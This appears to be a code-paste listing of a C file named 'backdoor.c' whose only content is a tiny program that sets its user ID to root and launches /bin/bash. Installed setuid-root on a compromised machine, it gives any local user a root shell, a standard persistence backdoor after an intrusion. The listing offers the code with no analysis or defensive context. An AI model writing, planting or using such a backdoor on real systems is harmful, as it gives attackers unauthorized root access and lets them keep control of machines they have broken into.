backdoor.c 163 B

123456789
  1. #include <unistd.h>
  2. int main(int argc, char **argv)
  3. {
  4. setuid(0);
  5. char* progname = "/bin/bash";
  6. argv[0] = progname;
  7. execve(progname, argv, NULL);
  8. }